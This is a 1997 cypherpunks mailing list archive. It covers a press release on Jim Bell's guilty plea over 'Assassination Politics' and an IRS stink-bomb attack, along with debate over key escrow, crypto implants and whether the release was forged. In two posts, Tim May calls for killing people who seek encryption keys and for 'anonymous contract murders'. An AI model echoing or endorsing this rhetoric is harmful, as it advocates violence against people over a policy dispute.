> United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
> pleaded guilty today in the federal court in Tacoma to two felony charges.
> BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
> impeding the Internal Revenue Service (IRS), and to falsely using a social
> security number with the intent to deceive.  United States District Court
> Judge Franklin D. Burgess presided over today's proceedings.
> 
> The charges stem from an investigation initiated in October, 1996 by IRS
> Internal Security Inspectors into reports that BELL was gathering the names
> and home addresses of IRS employees. In previous court hearings, IRS
> Inspectors testified that BELL had obtained the names and home addresses of
> 70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
> agreement signed by BELL, he acknowledged that he had gathered the names and
> addresses of the IRS employees in order to intimidate them in the
> performance of their official duties.
> 
> During the course of their investigation, IRS Inspectors discovered that
> BELL was advocating a scheme called "Assassination Politics", whereby
> persons would be rewarded with "digital cash" for killing certain
> undesirable people.  BELL identified these undesirables as government
> employees, such as IRS employees, who would be intimidated from enforcing
> internal revenue laws for fear of being assassinated.  In the plea
> agreement, BELL admitted that he suggested using "Assassination Politics" as
> an enforcement mechanism for the "Multnomah County Common Law Court", and
> that this was part of his effort to obstruct and impede the enforcement of
> internal revenue laws.  In affidavits previously filed in this case, IRS
> investigators identified BELL as a participant in the "Multnomah County
> Common Law Court", which was described as a self-appointed anti-government
> extremist group which purports to hold "trials" of IRS and other Government
> employees for the performance of their official duties.  The affidavits
> indicated that in January, 1997 the "Multnomah County Common Law Court" held
> a "trial" of IRS and other Government officials.  
> 
> In the plea agreement, BELL also admitted that on March 16, 1997, he
> conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
> Washington, using the noxious chemical mercaptan.  In affidavits filed with
> the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
> against non-government targets: one being a lawyer's office in 1984, and the
> other a vehicle in 1989.  The IRS investigators also linked BELL to two
> purchase orders for noxious chemicals, one in 1994 and one in 1996.
> According to the plea agreement, the attack on the IRS office resulted in a
> cost to the government of $1,359, and caused a number of IRS employees to
> have to leave work.  In an affidavit previously filed in this case, IRS
> Inspectors indicated that the mercaptan attack may have been linked to the
> February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.
> 
> As part of the plea agreement, BELL also admitted that he used several
> different social security numbers in order to hide assets from the IRS and
> thus to impede the IRS's ability to collect taxes he owed and to prevent the
> IRS from levying his wages.
> 
> Federal agents had previously executed two search warrants on BELL's
> residence.  On April 1, 1997, IRS agents seized computers, documents, and
> firearms during a search.  In a follow-up search, the Environmental
> Protection Agency seized a variety of dangerous chemicals which had been
> discovered during the execution of the  IRS warrant.  BELL was arrested by
> IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
> on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
> posed a danger to the community and was a flight risk.
> 
> BELL faces a maximum sentence of three years in prison and a $250,000 fine
> for the obstruction charge, and five years and a $250,000 fine for using a
> phony social security number.
> 
> The IRS received assistance in the investigation of BELL from the Portland
> Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
> Bureau of Investigation, and the Vancouver, Washington Police Department.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 10:47:56 +0800
To: cypherpunks@toad.com
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
Message-ID: <Pine.GSO.3.95.970718191915.29745E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 19:18:56 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Danny Yee <danny@staff.cs.usyd.edu.au>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups

I believe the ACLU gets most of its money from individual contributions.
(I may be remembering this from a conversation with some ACLUers.)

But Jonah has a point below. What's important is not just which
corporations fund a group, but whether the group sets policies based on
its funders' desires. 

I know the Cato Institute, for instance, lost money from corporate funders
during the Gulf War because of Cato's principled pacifist stance. I
suspect EPIC has remained at its modest (but effective) size because of
its principled uncompromising stance.

This goes back to the original debate: pragmatism vs. principle. How do
you stand on principle and remain an effective advocate in Washington? If
you navigate the route of pragmatism and compromise, what does that mean
for civil liberties? Can you avoid compromising them away?

I'm reminded of a scene in Lord of the Rings. Frodo offers the Ring to
Galadriel. She hesitates, then declines. She says she would have been
tempted by its power -- but transformed by it. "I will diminish, and
remain Galadriel." 

(This is from memory. It's been more than a couple years.)

-Declan


On Sat, 19 Jul 1997, Danny Yee wrote:

> > From: Jonah Seiger <jseiger@cdt.org>
> > What critics on this list seem to fail to understand is that CDT, EFF,
> > EPIC, ACLU, etc. get financial support based on our positions and goals,
> > not the other way around.
>  
> Amnesty International does not accept funding from any state.  It seems
> to me that there's a very good reason for that.
> 
> I'd be interested to see a list of financial supporters of the ACLU
> and EFF.
> 
> Danny Yee.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sat, 19 Jul 1997 23:15:10 +0800
To: hal@rain.org
Subject: (Fwd) Something of Interest
Message-ID: <199707191504.LAA19019@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



I received this out of the blues.  I suppose that you received it 
too.

Ciao all


------- Forwarded Message Follows -------
Date:          Thu, 17 Jul 1997 12:29:08 -0400
From:          IRS Inspection <irsnwpr@net.insp.irs.gov>
To:            Interested-Parties@net.insp.irs.gov
Subject:       Something of Interest



					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 19 Jul 1997 08:19:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Crypto implants
In-Reply-To: <v03102817aff57f01f29b@[10.0.2.15]>
Message-ID: <Pine.LNX.3.96.970718192041.3061A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 18 Jul 1997, Steve Schear wrote:

> Another civil liberty is the assumption that one owns and controls one's
> body (unless arrested/imprisoned) and the government may not alter or
> injure your body. Most citizens and hopefully the courts would find
> invasion of this most sacrosanct part of one's being are repugnant.
> 
> An implied aspects of the privacy-crypto debate is that
> mechanical/electronic devices outside of one's body are required for use of
> crypto. But what happens if a person's body is augmented for various
> purposes, including data storage, crypto and communications?  Unless a
> proven crime were committed via these devices, is it feasible that a person
> could be forced to submit to removal of an implant or to disgorge their
> data contents?

It depends on the circumstances.  If there was any way to extract the
contents of the implant or decrypt anything encrypted using a key stored
in the implant without resorting to surgery, it would probably be legal
to force the suspect to cooperate (assuming that requiring someone to
turn over a crypto key is legal).  Extracting the contents of the implant
without using surgery is non-intrusive and probably legal.  However, if
the only way to recover the needed data is to physically remove the
implant from the suspect's body (though this wouldn't be very practical
for the user), it would be very difficult for LEAs to do this legally.
In one U.S. Supreme Court decision, Winston v. Lee, it was decided that
the State did not have the authority to require someone not convicted of
a crime to submit to surgery so that a bullet could be extracted from
his body and possibly be used as evidence.  There are exceptions, but
the situation would have to be extreme enough to warrant the severe
intrusion.  I would imagine that this ruling would apply to a situation
where someone had an implant with information that could be used as
evidence.  There isn't much difference, IMO, between extracting a
bullet that has information in the form of caliber and unique markings
useful in a ballistics test and extracting a data implant that has
information electronically stored.



Mark
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ryUst1wSXuzbKKS5bN+B8rNXauWIn6ayjib92IgFLlzCo9aaYOmdVw==
=xEGX
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 10:59:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <v03102809aff5db4ccb41@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:56 PM -0700 7/18/97, Alan wrote:
>I recieved this today via e-mail.  I find it strange since I have never
>asked to be put on any sort of "interest list" by anyone at the IRS.  (And
>my Cypherpunks mail shows up at a different address.

What makes you think the "interest" is your interest in them?

It's _their_ interest in _you_.

Yes, I got _two_ copies of this message. I'm waiting to confirm it was
really sent by a sender at the IRS, namely, " IRS Inspection
<irsnwpr@net.insp.irs.gov>", before taking action.

--Tim



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 19 Jul 1997 08:44:48 +0800
To: cypherpunks@toad.com
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.GSO.3.96.970718155454.22939J-100000@linda.teleport.com>
Message-ID: <6Ta30D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan <alano@teleport.com> writes:

>
> I recieved this today via e-mail.  I find it strange since I have never
> asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> my Cypherpunks mail shows up at a different address.
>
> Did anyone else get this?

I got it too.

It could be a very tasteless joke.

Or it could be a real e-mail from IRS telling us that they keep tabs on
who's been talking to Jim.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 19 Jul 1997 09:15:23 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: Keepers of the keys
In-Reply-To: <3.0.3.32.19970718172701.00969de0@cybercash.com>
Message-ID: <199707190055.TAA22761@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.3.32.19970718172701.00969de0@cybercash.com>, on 07/18/97 
   at 05:27 PM, Carl Ellison <cme@cybercash.com> said:

>Those two diagrams are identical except for labeling.  How can we tell E
>from  D, as crypto designers?  Was J. Edgar Hoover an E or a D?  Nixon? 
>The LA  Intelligence unit?  ....?

They are all "E" the only difference is that the "D's" stole our money to
finance their operations against us.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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kH7WxS9shHmNJP37cmO2ZhtO2DXihInQ83UDVX6WP75WE5QaC0Onip5F197MtSmG
ugp9lLANBQknn8VRuj4V2u1qSh+hcwfs8pBCEbtY+j+c77F23CxR3oEJvVMS76/6
JKasyqR4okc=
=5aor
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 19 Jul 1997 09:25:05 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Crypto implants
In-Reply-To: <97Jul18.203330edt.32258@brickwall.ceddec.com>
Message-ID: <199707190103.UAA22861@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <97Jul18.203330edt.32258@brickwall.ceddec.com>, on 07/18/97 
   at 08:33 PM, Nobody <nobody@rigel.cyberpass.net> said:

>On Fri, 18 Jul 1997, Steve Schear wrote:

>> [I could find no instance in the cypherpunks archives of this thread.
>> Forgive me if I've erred.]
>> 
>> As single chip crypto devices are now available (e.g., smart cards) it is
>> not unreasonable to ask how the implantation of advanced bio-chips may
>> challenge current notions of civil liberties.

>I suggested using a chip which derived the equivalent of a passphrase
>from brainwaves (when you are calm) - SF now, but in a few years...

>And there may be opportunites to make it tamperproof - if removed it is
>detected and data destroyed, or make removal all but impossible without
>killing the patient.

Hmmmm ... Waco ... Ruby Ridge .... It would seem that murdering US
Citizens is an excepted investigation tatic of the federal government
these days. Unfortunatly I don't see things changing any time in the
future.

"Why is it you can never find the Plutonium Disinfectant when you need
it?"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9AFH49Co1n+aLhhAQHLzAP+MnJLzIicTuACxj0ey0QHFDWLN0/+1qeW
ihNU0UmY0FTX22CHcefQVFa/KwPuYymXxunIFplgdl/fRRjP6kzvUM4JQnJxmJv/
WmxEX56aMGlNab0egem5miHN+DKexOf2odwcggj2sBAGu1H2nHwUY0/ikXC27OzN
xiQpm2NfQRU=
=RRlR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 11:27:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <v0310280aaff5e21c6521@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



[fight-censorship@vorlon.mit.edu removed, as we are getting incredible
amounts of cross-pollution from lame posters who don't understand even the
basics of liberty. Disgusting.]


At 1:52 PM -0700 7/18/97, Colin Rafferty wrote:
>Joe Shea (via Declan McCullagh) writes:
>
>> 	Declan, what would you think if the actual keepers of the keys,
>> so to speak, were the courts, such as the Administratoive Office of the
>> US Courts?  That would at least seem to reduce a lot of the possible
>> privacy concerns.  One has the sense that once they get into the hands of
>> the varius agencies, they'll get back out.
>
>Why do I feel like we are going around and around in circles?
>
>How about we give copies of our house-keys to the courts?  We should
>also send them our old backup tapes, just in case they need them, too.

I obviously agree with Colin on this. My communications, writings, and
diaries are *mine*.

I have no idea who this "Joe Shea" is, but he seems ignorant of basic
concepts of life in a free society. Suggesting "better" holders of keys is
beside the point.

Anyone who tries to grab my keys should be killed.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sat, 19 Jul 1997 11:30:27 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <v03102809aff5db4ccb41@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 18 Jul 1997, Tim May wrote:

> 
> At 3:56 PM -0700 7/18/97, Alan wrote:
> >I recieved this today via e-mail.  I find it strange since I have never
> >asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> >my Cypherpunks mail shows up at a different address.
> 
> What makes you think the "interest" is your interest in them?
> 
> It's _their_ interest in _you_.

Yes.  It looks like every e-mail address on Jim Bell's computer got this
nice little "warning/example".

Has there ever been a case where seized e-mail addresses have been used to
spam those listed with the results of the case?

Where is Declan when you need him. ]:>

> Yes, I got _two_ copies of this message. I'm waiting to confirm it was
> really sent by a sender at the IRS, namely, " IRS Inspection
> <irsnwpr@net.insp.irs.gov>", before taking action.

If it is a forgery, it is a *very* good forgery.  The addresses in the
header are registered to the US government.  The headers do not look like
the standard sendmail spoof.  It looks pretty damn legit to me.  (I have a
freind who also recieved this that has his copy of sendmail to keep pretty
impresive logs as to sender's identity.  It does not look like a spoof,
unless they hacked behind the IRS firewall.)


alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nobody <nobody@rigel.cyberpass.net>
Date: Sat, 19 Jul 1997 08:46:10 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Crypto implants
In-Reply-To: <v03102817aff57f01f29b@[10.0.2.15]>
Message-ID: <97Jul18.203330edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, Steve Schear wrote:

> [I could find no instance in the cypherpunks archives of this thread.
> Forgive me if I've erred.]
> 
> As single chip crypto devices are now available (e.g., smart cards) it is
> not unreasonable to ask how the implantation of advanced bio-chips may
> challenge current notions of civil liberties.

I suggested using a chip which derived the equivalent of a passphrase from
brainwaves (when you are calm) - SF now, but in a few years...

And there may be opportunites to make it tamperproof - if removed it is
detected and data destroyed, or make removal all but impossible without
killing the patient.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 19 Jul 1997 11:42:00 +0800
To: Carl Ellison <declan@well.com>
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970718124449.26795G-100000@well.com>
Message-ID: <v0310280caff5e51517f8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




[I am leaving the distribution list alone, as I have no idea where the
locus of this discussion is. We are seeing serious cross-pollution of the
Cypherpunks list by crap from others lists.]

At 2:27 PM -0700 7/18/97, Carl Ellison wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I'm really surprised to see this entire discussion resurface, especially
>without any apparent memory of the past 5 years that have hashed this topic
>over.
>

It hasn't resurfaced from anyone clued in to the real issues. Just some
reporters seeking "compromise." Fuck them.

Anyone who tries to grab my keys needs killing.

I have no more patience for "well-meaning" fools. We need anonymous
contract murders to get rid of this kind of scum, as force is the only
language they seem to understand.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Fri, 18 Jul 1997 18:55:04 +0800
To: cypherpunks@toad.com
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>
Message-ID: <Pine.SOL.3.91.970718203704.3553B-100000@hardy>
MIME-Version: 1.0
Content-Type: text/plain



> 
> Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
> extension) will activate the strong encryption in exportable browsers. This
> is hardcoded into Navigator and Internet Explorer.
> 
So, write a new browser (Theres a linux project staring to do 
this for linux soon/now (i think anyway)) and then port to a bunch of 
systems and base it outside the US. There aren't any import restriction 
on strong crypto yet are there ?? Besides you could then set up a home 
page ala. netscape.com and rake in the advertising dollars, if you can 
get teh browser to take off. A lot of if's and work but in theory it 
works.

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven L Baur <steve@xemacs.org>
Date: Sat, 19 Jul 1997 12:04:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <m2bu3zbshu.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Alan  <alan@ctrl-alt-del.com> writes:

> If it is a forgery, it is a *very* good forgery.

It would be an *extraordinarily* good forgery.  Everything checks out.

Jul 18 15:44:47 sandy sendmail[16007]: PAA16007: from=<irsnwpr@net.insp.irs.gov>, size=4959, class=0, pri=34959, nrcpts=1, msgid=<199707171625.MAA02707@net.insp.irs.gov>, proto=SMTP, relay=tcs-gateway1.treas.gov [204.151.245.2]
Jul 18 15:44:48 sandy sendmail[16008]: PAA16007: to=steve@xemacs.miranova.com, delay=00:00:04, xdelay=00:00:00, mailer=esmtp, relay=xemacs.miranova.com. [206.190.83.19], stat=Sent (PAA15197 Message accepted for delivery)

>From irsnwpr@net.insp.irs.gov  Fri Jul 18 15:46:43 1997
Return-Path: <irsnwpr@net.insp.irs.gov>
Received: from sandy.calag.com (root@sandy [206.190.83.128])
        by altair.xemacs.org (8.8.6/8.8.6) with ESMTP id PAA15197
        for <steve@xemacs.miranova.com>; Fri, 18 Jul 1997 15:46:43 -0700
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
        by sandy.calag.com (8.8.6/8.8.6) with SMTP id PAA16007
        for <steve@miranova.com>; Fri, 18 Jul 1997 15:44:44 -0700
Received: by tcs_gateway1.treas.gov id AA19614
  (InterLock SMTP Gateway 3.0 for steve@miranova.com);
  Fri, 18 Jul 1997 18:43:17 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:43:17 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:43:17 -0400
Date: Thu, 17 Jul 1997 12:25:26 -0400
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Message-Id: <199707171625.MAA02707@net.insp.irs.gov>
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Sat, 19 Jul 1997 09:14:30 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <v03102807aff555424d99@[207.167.93.63]>
Message-ID: <97Jul18.210553edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, Tim May wrote:

> I'm not at all convinced that monolithic apps like this will do well. A
> cluster of smaller apps, provided they have relatively consistent
> look-and-feel, as they mostly do, will probably do better for many of us.
> Smaller, nimbler apps are harder for government forces to regulate,
> influence, and limit.
> 
> What does this mean for crypto, certificates, etc.? It means that what
> Netscape, Microsoft, and other monolithic app suppliers don't hold all the
> cards. What the government forces/cajoles NS and MS to do with
> certificates, crypto, Web ratings, could end up helping more users decide
> to defect from the monolithic apps to smaller,less constraining apps.

It has been called bloatware and it affects everything.  Consider PGP 5.0.
As far as I know, all the technology being scanned in over this month is
available outside the US (e.g. SSLeay, and zip).  Although I would rather
have multiple implementations, SSLeay is a DLL under windows, but now I am
also going to have a PGP50 DLL, both with MPI and crypto libraries.  And
that doesn't count the same functions which are in both netscape and msie.

Both Netscape and MSIE could have taken an approach where the crypto was
put in a different app (i.e. safepassage), so the SSLproxy app would only
be available in the US, and cloned at full strength elsewhere.  You can do
something equivalent on the server side (443 -> SSL-to-plain -> 80).

Unless I am really doing something graphic based, I use Lynx.  Or "geturl
http://whatever | tablerender | less".

What is worse about MS/NS is that they can't be automated.  I can do a
croned geturl every 5 minutes, but how do I extract a given table from a
site and import it into excel automatically?  I think excel will
eventually support URLs in some fashion if it doesn't already, but there
are more things which won't parse as easily.  And what if the data is on
the other side of a form?

I think part, if not most of the problem is the GUI paradigm.  It is very
expensive to start another app, so people clamor for features to be built
in to existing apps, so every app must do things other apps do.  If you
can't click on it, you can't do it.  If there is no Download and save the
Nth GIF on this page every 5 minutes, I won't be able to do this with a
normal browser.

This is in contrast to the CLI-filter-pipe paradigm where every program
just does one thing.  That thing can be extremely flexible (e.g. awk), but
it has a limited scope, and another app does other things, but they are
designed to be chainable.  But it requires thinking to build these chains
and "average" users refuse to learn how.  geturl www.wherever | grep
"pic.gif" | awk ... >nextfile.get; geturl `cat nextfile.get` >`date ..`
as a cron job will do the function I suggested above.

The question is how to merge the two so GUI apps are small and chainable
(maybe embeddable?).

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joe Shea <joeshea@netcom.com>
Date: Sat, 19 Jul 1997 12:29:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Keepers of the keys
In-Reply-To: <v0310280caff5e51517f8@[207.167.93.63]>
Message-ID: <Pine.3.89.9707182132.A29551-0100000@netcom9>
MIME-Version: 1.0
Content-Type: text/plain




	And if Tim May does kill me, I hope someone has his key, or better
yet, can go make a showing to a judge and get it from him.  Then he won't
kill again.  I think this is the whole point of key escrow -- to make sure
people like the one Tim represents himself to be are people you can find
in the maze of the Internet.  Unfortunately -- well, not really -- I don't
think Tim is a trained killer who's going to search me out.  There are
plenty of them, though, and they are moving vast sums of stolen money and
nuclear weapon parts and stolen information all over the globe.  I see no
reason why we should be defenseless against them. At the same time, I 
don't think the keys should be in the hands of federal law enforcement 
agencies who have demonstrably screwed up big-time on an anwful lot of 
occasions.  Judges -- people like the Ninth Circuit Court of Appeals -- 
would look rather askance at requests for someone's key when it was no
more aggravating an issue than a piece of flame mail.  On the other hand, 
if someone's going to blow up San Francisco this week, it sure would help
to have a key to any encrypted communications he was generating.  Of course,
a lot of people would like to see it blow up, and maybe Tim is one of 
those, too.

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea@netcom.com
http://www.newshare.com:9999


On Fri, 18 Jul 1997, Tim May wrote:

> 
> [I am leaving the distribution list alone, as I have no idea where the
